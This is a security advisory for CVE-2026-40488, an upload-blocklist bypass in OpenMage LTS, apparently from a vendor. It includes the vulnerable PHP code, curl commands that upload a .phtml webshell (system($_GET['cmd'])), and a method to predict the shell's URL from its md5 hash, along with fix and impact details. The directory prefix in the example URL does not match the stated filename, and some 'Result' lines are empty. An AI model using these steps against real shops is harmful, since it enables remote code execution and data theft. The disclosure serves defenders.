CVE-2026-40488

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

• Project: OpenMage/magento-lts
• Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
• Vulnerable Lines: 230-237 (_validateUploadedFile())
• Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "[email protected];filename=shell.phtml"

Result:

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker
already controls:

Subdirectory, getDispretionPath($filename) takes the first two characters of the
uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename, md5(file_get_contents($tmp_name)) is computed over the raw bytes of the
uploaded payload (File.php:245):

// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are
known before the upload request is sent. The full URL can be pre-computed:

SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

Affected Deployments

Impact

1. Remote Code Execution: Full server compromise through webshell upload
2. Data Exfiltration: Access to database credentials, customer PII, payment data
3. Lateral Movement: Pivot to internal infrastructure
4. Supply Chain: Inject malicious code into served content

The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.

CVE-2026-40488 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20.17.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-40488? CVE-2026-40488 is a high-severity unrestricted upload of dangerous file types vulnerability in openmage/magento-lts (composer), affecting versions <= 20.16.0. It is fixed in 20.17.0. The application accepts file uploads without adequately restricting the file type or content.
2. How severe is CVE-2026-40488? CVE-2026-40488 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of openmage/magento-lts are affected by CVE-2026-40488? openmage/magento-lts (composer) versions <= 20.16.0 is affected.
4. Is there a fix for CVE-2026-40488? Yes. CVE-2026-40488 is fixed in 20.17.0. Upgrade to this version or later.
5. Is CVE-2026-40488 exploitable, and should I be worried? Whether CVE-2026-40488 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40488 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40488? Upgrade openmage/magento-lts to 20.17.0 or later.